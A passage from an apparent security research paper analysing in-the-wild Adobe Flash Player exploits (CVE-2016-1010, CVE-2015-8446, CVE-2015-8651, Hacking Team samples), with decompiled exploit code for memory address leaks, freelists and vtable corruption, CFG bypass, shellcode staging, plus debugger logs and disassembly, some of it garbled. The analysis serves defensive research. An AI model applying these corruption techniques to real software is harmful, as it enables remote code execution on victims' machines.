        "nextItem": jjjj222222lpmc.ReadPointer(param1),
        "next": jjjj222222lpmc.ReadPointer(param1),
        "prev": jjjj222222lpmc.ReadPointer(param1),
        "numAlloc": param1.readUnsignedShort(),
        "size": param1.readUnsignedShort(),
        "prevFree": jjjj222222lpmc.ReadPointer(param1),
        "nextFree": jjjj222222lpmc.ReadPointer(param1),
        "alloc": jjjj222222lpmc.ReadPointer(param1),
        "blockData": param1,
        "blockAddr": param2
    };
    return _loc3_;}
```

Figure 43 ParseFixedBlock
ByteArray address leak

ByteArray address leak technique was used by the in-the-wild CVE-2016-1010 exploit.

GetByteArrayAddress

GetByteArrayAddress (hgfh342) gets first parameter as the expected object’s size and enumerates all objects in the MMgc memory with that size and returns parsed information on all memory blocks it finds.

GetByteArrayAddress (hgfh342) returns array of [ByteArray::Buffer, ByteArray::Buffer.array] pairs. The ByteArray::Buffer.array is the address where the exploit can put its own data. GetByteArrayAddress (hgfh342) uses EnumerateFixedBlocks (hhh222) to locate heap address of the ByteArray object. When it calls EnumerateFixedBlocks (hhh222), it passes the expected ByteArray object size (40 or 24 depending on the Flash version running).

```plaintext
public function J34534534(_arg_1:*, _arg_2:Object, _arg_3:Jdfgdfgd34):void
{
    ...
    hgfh4343 = 24;
    {
        ...
        hgfh4343 = 40;
    }
    ...
}

public function GetByteArrayAddress (param1:ByteArray, param2:Boolean = false, param3:int = 0) : Array
{
    ...
    var_loc9_Array = jhghjhj234544. EnumerateFixedBlocks (hgfh4343, true); hgfh4343 is 40 or 24 depending on the Flash version – this is supposed to be the ByteArray object size
}
```

Figure 44 GetByteArrayAddress uses EnumerateFixedBlocks calls

GetByteArrayAddress (hgfh342) uses EnumerateFixedBlocks (hhh222) to retrieve all blocks with specific sizes and searches for specific markers in the ByteArray.
public function GetByteArrayAddress(_arg_1:ByteArray, _arg_2:Boolean=false, marker:int=0):Array
{
    ...
    var fixedBlockArr:Array = jhghjhj234544.EnumerateFixedBlocks(hghf4343, true);
    var _local_10:int;
    var fixedBlockArrLength:int = fixedBlockArr.length;
    while (_local_10 < fixedBlockArrLength)
    {
        i = _local_10++;
        _local_13 = ((Jdfgdflf35GwGfhs.Hfhghfh3 - gfhgfh444444.cvhsb345) / hghf4343);
        _local_14 = gfhgfh444444.cvhsb345;
        _local_15 = fixedBlockArr[i].blockData;
        while (_local_13 > 0)
        {
            _local_15.position = _local_14;
            if (bgfh4)
            {
                _local_16 = _local_15.readUnsignedInt();
                _local_15.position = _local_16;
                _local_17 = _local_15.readUnsignedInt();
                if (_local_16 == _local_5)
                {
                    _local_15.position = (_local_14 + bbgfgfh4);
                    _local_7 = gggexss.AddInt64(fixedBlockArr[i].blockAddr, _local_14);
                    _local_8 = _local_18;
                    if (((marker != (0)) && (((_local_6.high == _local_8.high))) || (((_local_6.low == _local_8.low)))))
                    {
                        if (hhiwr.read4(_local_6) == marker) Compare marker
                        {
                            return (_local_7, _local_6);
                        }
                        else
                        {
                            _local_18 = new __Int64(0, 0);
                            _local_8 = _local_18;
                            if ((((_local_6.high == _local_8.high))) || (((_local_6.low == _local_8.low))))
                            {
                                return (_local_7, _local_6);
                            }
                        }
                    }
                    ...
                    _local_14 = (_local_14 + hghf4343);
                    _local_13--;
                }
            }
        }
    }
}

Figure 45 GetByteArrayAddress (hghf342) heuristic search on marker values
Acquiring GCBlock structure

With the CVE-2015-8446 exploit in the wild, it used memory predictability to get access to the internal data structure of Flash Player. After heap-spraying with `Array` objects, the address 0x1a000000 is predictably allocated with a `GCBlock` object. 0x1a000008 is the address the exploit is looking at to get the base for GC object.

```
ReadInt 1a000004 000007b0 <-- GCBlock.size
ReadInt 1a000008 0c3ff000 <-- GCBlock.gc
```

The following code shows where this `GCBlockHeader` is defined.

```
/** *
 * Common block header for GCAlloc and GCLargeAlloc.
 */
struct GCBlockHeader {
    uint8_t bibopTag; // *MUST* be the first byte. 0 means "not a bibop block." For others, see core/atom.h.
    uint8_t bitsShift; // Right shift for lower 12 bits of a pointer into the block to obtain the mark bit item for that pointer
        // bitsShift is only used if MMGC_FASTBITS is defined but it's always present to simplify header layout.
    uint8_t containsPointers; // nonzero if the block contains pointer-containing objects
    uint8_t rcobject; // nonzero if the block contains RCObject instances
    uint32_t size; // Size of objects stored in this block
    GC* gc; // The GC that owns this block
    GCAllocBase* alloc; // the allocator that owns this block
    GCBlockHeader* next; // The next block in the list of blocks for the allocator
    gcblocks_t* bits; // Variable length table of mark bit entries
};
```

The value at 0x1a0000008 is written by `GCAlloc::CreateChunk` method after the GC structure pointer is acquired. This raw GC structure is later used for corruption in JIT internal data and as the first step of the shellcode execution, the exploit chooses call to `VirtualAlloc` as its first ROP call later.
Figure 49 ROP gadget used in this exploit

```
447d8020 00000000
Evaluate expression: 1854116879 = 6e83940f
 0:035> u 6e83940f
 6e83940f ff152874ca6e call dword ptr [Flash!_imp__VirtualAlloc (6eca7428)]
 6e839415 5d pop ebp
 6e839416 c3 ret
```
JIT attacks
With the introduction of CFG, the attackers are moving into the JIT space. We already saw a conceptual attack method presented by Francisco Falcon. Runtime CFG code in JIT will mitigate this exploitation method. From the real world exploits, CVE-2016-1010 and CVE-2015-8446, we observed more advanced attack methods including a method to corrupt the return addresses on the stack, which is a known limitation of CFG. Details of this attack method will be discussed in our future research. Here, we are going to share some details on the freelists abuse method and the MethodInfo._implGPR corruption method.

Freelists manipulation
For the CVE-2016-1010 exploit, the location where shellcode is written and executed is very interesting as it involves freelists manipulation technique. The StartExploit (hgfhghfgj2) method calls the AllocateByteArrays (hghj22222) method and uses shellcode_bytearray (jh5) ByteArray to write shellcode bytes to the heap area.

```
public function StartExploit(_arg_1:ByteArray, _arg_2:int):Boolean
{
    var _local_4:int;
    var _local_11:int;
    if (!AllocateByteArrays())
    {
        return (false);
    }
    ...
    _local_8 = _local_12;
    shellcode_bytearray.position = (_local_8.low + 0x1800);  // a little bit inside the heap region, to be safe not to be cleared up
    shellcode_bytearray.writeBytes(_arg_1);  // Writing shellcode to target ByteArray.
```

Figure 50 Allocating and writing shellcode on ByteArray buffer

The CVE-2016-1010 exploit uses GetByteArrayAddress (hgfh342) to get virtual address of the memory area where it can put fake freelists. For example, from the following data structure, 0x16893000 is the virtual memory location where the exploit puts fake freelists data structure.
Figure 51 GetByteArrayAddress (hgfh342) to allocate a ByteArray and return it's virtual address

The GetByteArrayAddress (hgfh342) method is used to retrieve 2 heap areas. These areas are marked as RW permission originally, as normal ByteArray memory is. The AllocateByteArrays (jhgjhj22222) method is used to allocate ByteArray and return raw heap addresses used for freelists and shellcode. The shellcode_bytearray (jh5) is the ByteArray that will hold shellcode, and freelists_bytearray (jgfh3) is the ByteArray structure that will hold fake freelists memory to be used. The GetByteArrayAddress (hgfh342) method is used to retrieve virtual address of each ByteArrays.

```java
public function AllocateByteArrays():Boolean
{
    ...  
    var randomInt:int = Math.ceil(((Math.random() * 0xFFFFFF) + 1));
    // Create shellcode ByteArray
    shellcode_bytearray = new ByteArray();
    shellcode_bytearray.endian = Endian.LITTLE_ENDIAN;
    shellcode_bytearray.writeUnsignedInt(_local_1);
    shellcode_bytearray.length = 0x20313;

    // Create freelists BytesArray
    freelists_bytearray = new ByteArray();
    freelists_bytearray.endian = Endian.LITTLE_ENDIAN;
    freelists_bytearray.writeUnsignedInt(_local_1);
    freelists_bytearray.length = 0x1322;

    g4 = GetByteArrayAddress(f freelists_bytearray, false, randomInt)[1];  
    hg45 = GetByteArrayAddress(shellcode_bytearray, false, randomInt)[1];  
    _local_2 = hg45;
    _local_4 = new __Int64(0, 0);
    _local_3 = _local_4;
    return (((((_local_2.high == _local_3.high))) || (((_local_2.low == _local_3.low)))) && (((_local_2.high == _local_3.high))) ||
        (((_local_2.low == _local_3.low))));
}
```

Figure 52 Allocating ByteArray objects and leaking their virtual address
The exploit abuses the *freelists* array from the *GCHeap* object. The *freelists* contains the memory that are freed and reserved for future allocations. The *freelists* is an array of the *HeapBlock* data structure.

```cpp
class GCHeap
{
    ...
    Region *freeRegion;
    Region *nextRegion;
    HeapBlock *blocks;
    size_t blocksLen;
    size_t numDecommitted;
    size_t numRegionBlocks;
    HeapBlock freelists[kNumFreeLists];
    size_t numAlloc;
}
```

*Figure 53 GCHeap class*

The exploit links the controlled memory structure at 0x16893000 to the *freelists* element.

```plaintext
Enter: A1/instance/write4(00000000`6fb7bbb0, 16893000)
Return: A1/instance/write4 null
Enter: A1/instance/write4(00000000`6fb7bbb4, 16893000)
Return: A1/instance/write4 null
```

*Figure 54 Linking fake memory structure from freelists array element*

The operation from the exploit code modifies the *prev* and *next* pointer from the *HeapBlock* structure.

```cpp
// Block struct used for free lists and memory traversal
class HeapBlock
{
    public:
        char *baseAddr; // base address of block's memory
        size_t size;    // size of this block
        size_t sizePrevious; // size of previous block
        HeapBlock *prev; // prev entry on free list ← Corruption target
        HeapBlock *next; // next entry on free list ← Corruption target
        bool committed; // is block fully committed?
        bool dirty;    // needs zero'ing, only valid if committed
}
```

*Figure 55 HeapBlock structure*

0x6fb7bbb0 is the element of the *freelists* array which is the *HeapBlock* structure.

The following memory dump shows how the exploit tries to corrupt the memory in this *HeapBlock* structure.
Figure 56 Original memory contents of freelists at 0x6fb7bbb0

Shellcode will be allocated inside 0x16dc3000 ByteArray memory. This virtual address was retrieved using the `GetByteArrayAddress (hgfh342)` function.

- Call Return: int.hgfh342 Array
  Location: J34534534/instance/jhgjhj22222 block id: 0 line no: 76
  Method Name: hgfh342
  Return Object ID: 0x248 (584)
  Object Type: int
  Return Value:
  Object:
    high: 0x0 (0)
    low: 0xc122d40 (202517824)
    high: 0x0 (0)
    low: 0x16dc3000 (383528960) — base address of shellcode ByteArray
  Object Type: Array
  Log Level: 0x3 (3)
  Name:
  Object Name:
  Object ID: 0x1d1 (465)

Figure 57 Locating shellcode ByteArray buffer address

The exploit puts the address to shellcode memory (0x16dc3000) as the first DWORD member for the fake freelists at 0x16893000.
The exploit overwrites `HeapBlock.prev` at 0x6fb7bbb0 and `HeapBlock.next` at 0x6fb7bbb4 to the fake freelists structure at 0x16893000 which has a baseAddr pointer to shellcode memory at 0x16dc3000.

The memory at 0x16893000 is where fake `HeapBlock` will be located. Address 0x16dc3000 is the heap area where shellcode will be written. This heap area is with protection mode of RW. The following shows the page information of the shellcode memory from 0x16dc3000.
Figure 61 Original memory permission of 0x16dc3000

The exploit writes a shellcode address (eax) to the fake freelists location (ecx).

Figure 62 freelists[0]=shellcode block

The memory location pointed to by the fake freelists is later referenced by the GCHeap::AllocBlock call. Shellcode at 0x16dc3000 will be reclaimed by GCHeap::AllocBlock as a JIT memory with RX permission.

Figure 63 Referencing freelists[0]

The code that actually references the freelists looks like following.
After some calculations from `GetFreeListIndex`, the memory allocation function picks up the memory block from `freelists` and returns page starts from 0x16dc3000 which contains the shellcode.

The following `doInitDelay` method is the JIT code that is being allocated and emitted when the fake `freelists` is used. The method `doInitDelay` is actually a callback function that is called regularly by the Flash Player event system.

When this call is called, a memory block will be reserved and `VirtualProtect` call is called upon this newly allocated memory to make it RX. In this case, the `MMgc` system will reserve the memory from the fake `freelists` element.
So, the strategy the attacker is taking is allocating specific size of heap area using `ByteArray` allocation and linking it to `freelists` so that it can be claimed by JIT generator that is called regularly by the event handler. In this way, the exploit can change RW mode protection of the target memory to RX mode. One finding here is that when the new JIT area is initialized, the contents of the target memory is not initialized, so in this case old `ByteArray` contents, which have shellcode bytes in them, are not cleared up from the JIT area. These shellcode bytes will later be used for the target of code execution.

This issue has been fixed by initializing existing memory contents before re-using the `freelists` memory block from JIT generators. This will effectively clean-up any shellcode written on a fake `freelists` block and will neutralize this attack method.
MethodInfo.implGPR corruption

The Angler exploit that was found in the wild for CVE-2015-8651 used the MethodInfo.implGPR corruption method. The MethodInfo.implGPR is a function pointer defined like the following.

```
/**
 * Base class for MethodInfo which contains invocation pointers. These
 * pointers are private to the ExecMgr instance and hence declared here.
 */
class GC_CPP_EXACT(MethodInfoProcHolder, MMgc::GCTraceableObject)
{
    ...

    private:
    union {
        GprMethodProc_implGPR; <--
        FprMethodProc_implFPR
        FLOAT_ONLY(VecrMethodProc_implVECR);
    };

Figure 67_implGPR member

This function pointer is referenced when a call to JIT code returns.

Atom BaseExecMgr::endCoerce(MethodEnv* env, int32_t argc, uint32_t *ap, MethodSignaturep ms)
{
    ...
    AvmCore* core = env->core();
    const int32_t bt = ms->returnTraitsBT();

    switch(bt){
    ...
    default:
    {
        STACKADJUST(); // align stack for 32-bit Windows and MSVC compiler
        const Atom i = (*env->method->implGPR)(env, argc, ap);
        STACKRESTORE();
    }

Figure 68_implGPR function pointer is called upon JIT function return

To achieve the_implGPR corruption, CustomByteArray objects are sprayed on the heap first. CustomByteArray is declared like following.
public class CustomByteArray extends ByteArray
{
    private static const _SafeStr_35::SafeStr_10 = _SafeStr_10::SafeStr_36();

    public var _SafeStr_625:uint = 0xFFFEDD00;
    public var _SafeStr_648:uint = 429844225;
    public var _SafeStr_629:uint = 0xF0000000;
    public var _SafeStr_631:uint = 0xFFFFFFFF;
    public var _SafeStr_633:uint = 0xFFFFFFFF;
    public var _SafeStr_628:uint = 0xAAAAAAAA;
    public var _SafeStr_630:uint = 0xAAAAAAAA;
    public var _SafeStr_632:uint = 0xAAAAAAAA;
    public var _SafeStr_634:uint = 0xAAAAAAAA;
    public var _SafeStr_649:uint = 4293844234;
    public var _SafeStr_650:uint = 4293844235;
    public var _SafeStr_651:uint = 4293844236;
    public var _SafeStr_652:uint = 4293844237;
    public var _SafeStr_653:uint = 4293844238;
    public var _SafeStr_654:uint = 4293844239;
    public var _SafeStr_655:uint = 4293844240;
    public var _SafeStr_656:uint = 4293844241;
    public var _SafeStr_657:uint = 4293844242;
    public var _SafeStr_658:uint = 4293844243;
    public var _SafeStr_659:uint = 4293844244;
    public var _SafeStr_660:uint = 4293844245;
    public var _SafeStr_661:uint = 4293844246;
    public var _SafeStr_662:uint = 4293844247;
    public var _SafeStr_663:uint = 4293844248;
    public var _SafeStr_664:uint = 4293844249;
    public var _SafeStr_665:uint = 4293844250;
    public var _SafeStr_666:uint = 4293844251;
    public var _SafeStr_667:uint = 4293844252;
    public var _SafeStr_668:uint = 4293844253;
    public var _SafeStr_669:uint = 4293844254;
    public var _SafeStr_670:uint = 4293844255;

    public function CustomByteArray(_arg_1:uint)
    {
        endian = _SafeStr_35[[SafeStr_35.IIII]]; 
        this._SafeStr_164 = this;
        this._SafeStr_653 = _arg_1;
        return;
        return;
    }
}
The _SafeStr_164 member will be pointing to _SafeStr_16._SafeStr_340 MethodClosure. And this _SafeStr_164 MethodClosure pointer is the corruption target. The _SafeStr_340 is defined as a function with a static type and various argument functions. The method merely has one line of code inside it.

```java
// _SafeStr_16 = "while with" (String#127, DoABC#2)
// _SafeStr_340 = "const while" (String#847, DoABC#2)
public class _SafeStr_16
{
    ...
    private static function _SafeStr_340(... _args):uint <-- Corruption target method
    {
        return (0);
    }
}
```

Figure 70 Corruption target method

Heap spray is used to make sure the CustomByteArray object is always located at the specific address of 0x0f4a0020.

Figure 71 Memory dump of CustomByteArray object

The following log shows how the exploit searches for the MethodInfo._implGPR field to corrupt and how it overwrites the pointer with shellcode address. The address for the MethodClosure object is at 0x16e7f370=0x16e7f371&0xffffffff. And the pointer traversing starts from there.
CustomByteArray (0x0f4a0020) -> MethodClosure (0x16e7f370) -> MethodEnv (0x068cdcb8) -> MethodInfo (0x01e0b6270) -> MethodInfo._implGPR (0x1e0b6274)

The pointer at MethodInfo._implGPR (0x1e0b6274) is 0x0b8cdcb0. The disassembled code from the location looks like the following.

```
0b8cdcb0 55  push ebp
0b8cdcb1 8bec  mov ebp,esp
0b8cdcb3 90  nop
0b8cdcb4 83ec18  sub esp,18h
0b8cdcb7 8b4d08  mov ecx,dword ptr [ebp+8]
0b8cdcb9 8d45f0  lea eax,[ebp-10h]
0b8cdcc3 89f4  mov edx,dword ptr ds:[7518050h]
0b8cdcd6 8955f0  mov edx,dword ptr [ebp-10h],edx
0b8cdce9 890550805107  mov edx,dword ptr ds:[7518050h],eax
0b8cdcf3 890550805107  mov edx,dword ptr ds:[7518050h],eax
0b8cdcf7 3bc2  cmp eax,edx
0b8cdcf9 7305  ja 0b8cdcc3
0b8cdec0 e8c231604d  call FlashIAEModule_IAEKernel_UnloadModule+0x1fd760 (58ed0ea0)
0b8cde9 8b4df0  mov ecx,dword ptr [ebp-10h]
0b8cdef3 890550805107  mov edx,dword ptr ds:[7518050h],eax
0b8cdef6 8955f0  mov edx,dword ptr [ebp-10h],edx
0b8cede5 3bc2  cmp eax,edx
0b8ced0 c3  ret
```

Figure 73 Original disassembly from impGPR pointer address

The following code shows the shellcode disassembly routine that is pointed to by modified MethodInfo._implGPR.
After MethodInfo._impGPR corruption, one of the calls using `call.apply` or `call.call` upon `_SafeStr_340` method closure will trigger execution of the shellcode.

```javascript
private function _SafeStr_355(_arg_1:*)
{
    return (_SafeStr_340.call.apply(null, _arg_1));
}

private function _SafeStr_362()
{
    return (_SafeStr_340.call(null));
}
```

**Figure 74 Shellcode**

**Figure 75 Code to trigger shellcode**
**FunctionObject corruption**

*FunctionObject* corruption has been observed multiple times from different exploits. Especially, the exploits originated from Hacking Team (CVE-2015-0349, CVE-2015-5119, CVE-2015-5122, CVE-2015-5123) shows this technique.

The following is the declarations of *AS3_call* and *AS3_apply* methods defined for *FunctionObject*.

```
class GC_AS3_EXACT(FunctionObject, ClassClosure)
{

  // AS3 native methods

  int32_t get_length();
  Atom AS3_call(Atom thisAtom, Atom *argv, int argc);
  Atom AS3_apply(Atom thisAtom, Atom argArray);

  ...
}
```

*Figure 76 AS3_call and AS3_apply declarations*

```
Atom FunctionObject::AS3_apply(Atom thisArg, Atom argArray)
{
  thisArg = get_coerced_receiver(thisArg);
  ...
  if (!AvmCore::isNullOrUndefined(argArray))
  {
    AvmCore* core = this->core();
    ...
    return core->exec->apply(get_callEnv(), thisArg, (ArrayObject*)AvmCore::atomToScriptObject(argArray));
  }
}
```

*Figure 77 FunctionObject::AS3_apply*

```
/**
 * Function.prototype.call()
 */
Atom FunctionObject::AS3_call(Atom thisArg, Atom *argv, int argc)
{
  thisArg = get_coerced_receiver(thisArg);
  return core()->exec->call(get_callEnv(), thisArg, argc, argv);
}
```

*Figure 78 FunctionObject::AS3_call*

The following shows *ExecMgr* class which is referenced from *FunctionObject::AS3_call* and *FunctionObject::AS3_apply* methods.
This exploit for CVE-2015-8651 originated from DUBNIUM campaign used a very specific method of corrupting FunctionObject and using apply and call method of the object to achieve shellcode execution. This method has close similarity to the exploit method that was disclosed during the Hacking Team leak in July 2015.

The following code shows how the FunctionObject’s vtable is acquired through leaked object address.

```java
Trigger.dummy();
var _local_1:uint = getObjectAddr(Trigger.dummy);
var _local_6:uint = read32(((read32((read32((read32(_local_1 + 0x08)) + 0x14)) + 0x04)) + ((isDbg) ? 0xBC : 0xB0)) + (isMitis * 0x04));

←_local_6 holds address to FunctionObject vptr pointer
var _local_5:uint = read32(_local_6);
```

This leaked vtable pointer is later overwritten with a fake vtable’s address. The fake vtable itself is cloned from the original one and the pointer to the apply method is replaced with the VirtualProtect API. Later, when the apply method is called upon the dummy FunctionObject, it will actually call the VirtualProtect API with supplied arguments, not the original empty call body. The supplied arguments are pointing to the memory area that is used for temporary shellcode storage. The memory area is made RWX (read/write/executable) through this method.
var virtualProtectAddr:uint = getImportFunctionAddr("kernel32.dll", "VirtualProtect"); \(\leftarrow\) resolving kernel32!VirtualProtect address  
if (!virtualProtectAddr)  
  return (false);  
};  
var _local_3:uint = read32(_local_1 + 0x1C);  
var _local_4:uint = read32(_local_1 + 0x20);  

//Build fake vtable  
var _local_9:Vector.<uint> = new Vector.<uint>(0x00);  
var _local_10:uint;  
while (_local_10 < 0x0100)  
  _local_9[_local_10] = read32((_local_5 - 0x80) + (_local_10 * 0x04));  
  _local_10++;  
};  

//Replace vptr  
_local_9[0x27] = virtualProtectAddr;  
var _local_2:uint = getAddrUintVector(_local_9);  
write32(_local_6, (_local_2 + 0x80)); \(\leftarrow\) _local_6 holds the pointer to FunctionObject  
write32(_local_6, (_local_2 + 0x80)); \(\leftarrow\) _local_6 holds the pointer to FunctionObject  
write32(_local_6, (execMemAddr); \(\leftarrow\) execMemAddr points to the shellcode memory  
write32(_local_6, (execMemAddr); \(\leftarrow\) execMemAddr points to the shellcode memory  
var _local_8:Array = new Array(0x41);  
Trigger.dummy.call.apply(null, _local_8); \(\leftarrow\) call kernel32!VirtualProtect upon shellcode memory

Figure 82 Call VirtualProtect through apply method

The following is the assembly code that handles the apply method from the call prototype.

6cb92679 b000 mov al,0  
6cb9267b 0000 add byte ptr [eax],al  
6cb9267d 8511 mov edx,dword ptr [ecx] \(\leftarrow\) read corrupt vtable 07e85064  
6cb9267f 83e7f8 and edi,0FFFFFFF8h  
6cb92682 57 push edi  
6cb92683 53 push ebx  
6cb92684 50 push eax  
6cb92685 8b4218 mov eax,dword ptr [edx+18h]  
6cb92688 ff60 call eax \(\leftarrow\) Calls kernel32!VirtualProtect

Figure 83 vtable corruption

When the exploit replaces the pointer pointed by ecx on 0x6cb9267d, it will lead to call to VirtualProtect API call. The following log shows the part where the overwriting happens.

WriteInt 07e85064 6d19a0b0 -> 087d98c0 \(\leftarrow\) Corrupt vtable pointer

Figure 84 Corrupting vtable pointer
Figure 85 Pointer at 0x07e85064 holds corrupt pointer to fake vftable

The function pointer to the AS3_apply method is corrupt to VirtualProtect.

Figure 86 Fake vftable with VirtualProtect pointer overwritten over AS3_apply pointer

Once the RWX memory area is reserved through VirtualProtect call, the exploit uses the call method of FunctionObject to perform further code execution. The reason why it doesn’t use the apply method is because it doesn’t need to pass any arguments anymore. Calling the call method is also simpler.

Figure 87 Shellcode execution through call method

This shellcode running routine is highly modularized and you can actually use API names and arguments to be passed to the shellcode running utility function. This makes shellcode building and running very extensible.
With this exploit, shellcode is not a contiguous memory area, but various shellcodes are called through separate call methods. We can track these calls by putting a breakpoint on the native code that performs the ActionScript call method. For example, the following disassembly shows the code that calls the InternetOpenUrlA API call.

```assembly
* AS3 Call
08180024 b80080e90b mov eax,0BE98000h
08180029 94 xchg eax,esp
08180029 93 xchg eax,ebx
0818002b 6800000000 push 0
0818002b 6800000000 push 0
0818002d 6800000000 push 0
0818002d 6801000000 push 1
08180035 68289ed40b push 0BD4EE50h
08180044 b840747575 mov eax,offset WININET!InternetOpenA (75757440) ← Call to WININET! InternetOpenA
08180049 ffd0 call eax
0818004b bf50eed40b mov edi,0BD4EE50h
```

This method of using FunctionObject corruption bypasses CFG for IE11 on Windows 10 or 8.1, but latest Edge on Windows 10 is protected against this attack.

**Conclusion**

There is not much freedom when you reverse engineer Adobe Flash Player exploits. First, Flash Player itself is a huge binary with any symbols provided to the researchers. Second, a lot of logic related to the exploit and the vulnerability itself is happening inside AVM2. This is very problematic for the researchers since there are not many tools that enable them to instrument or debug malicious SWF files. The tactic we are presenting is starting from instrumenting byte code and putting helper code that can be used tactically for Flash module or JIT level debugging. We found that just instrumenting ByteArray-related code helps a lot with debugging since many exploits still rely on ByteArray.length corruption for their RW primitives.

We also found that recent exploits are focusing on MMgc memory parsing and traversing the objects to get access to the internal data structures. Because a lot of internal data structures can be potentially abused to code execution once RW primitives are acquired, it is basically a moving target. Making access to internal MMgc structures using randomization technique on the allocation of internal structures or
more entropy with memory allocation might lower the success rate of the exploits. One distinct fact is that modern Flash exploits don’t even need much heap spraying. A few megabytes of heap spraying is very effective because the heap layout is sometimes very predictive. Recently, this predictableness of heap layout and heap address is actively abused by Adobe Flash Player exploits.

Appendix

Samples used

<table>
<thead>
<tr>
<th>CVE-ID</th>
<th>SHA1</th>
<th>Discussed techniques</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2015-0336</td>
<td>2ae7754c4dbec996be0bd2bb06a3d7c81dc4ad7</td>
<td>vtable corruption</td>
</tr>
<tr>
<td>CVE-2015-5122</td>
<td>e695fbeb87cb4f02917e574dabb5ec32d1d8f787</td>
<td>Vector.length corruption</td>
</tr>
<tr>
<td>CVE-2015-7645</td>
<td>2df498f32d8bad89d0d6d30275c19127763d5568</td>
<td>ByteArray.length corruption</td>
</tr>
<tr>
<td>CVE-2015-8446</td>
<td>48b7185a5534731726f4618c8f655471ba13be64c2eee74c13057495b583cf414ff8de3ce0f583</td>
<td>GBlock structure abuse, JIT stack corruption</td>
</tr>
<tr>
<td>CVE-2015-8651 (DUBNIUM)</td>
<td>10c17dab86701bcdbf6f01f7ce442116706b024</td>
<td>FunctionObject corruption</td>
</tr>
<tr>
<td>CVE-2015-8651 (Angler)</td>
<td>6fd71918441a192e667b66a8d60b246e4259982c</td>
<td>MethodInfo.implGPR corruption</td>
</tr>
<tr>
<td>CVE-2016-1010</td>
<td></td>
<td>ConvolutionFilter.matrix to tabStops type-confusion MMgc parsing, JIT stack corruption</td>
</tr>
</tbody>
</table>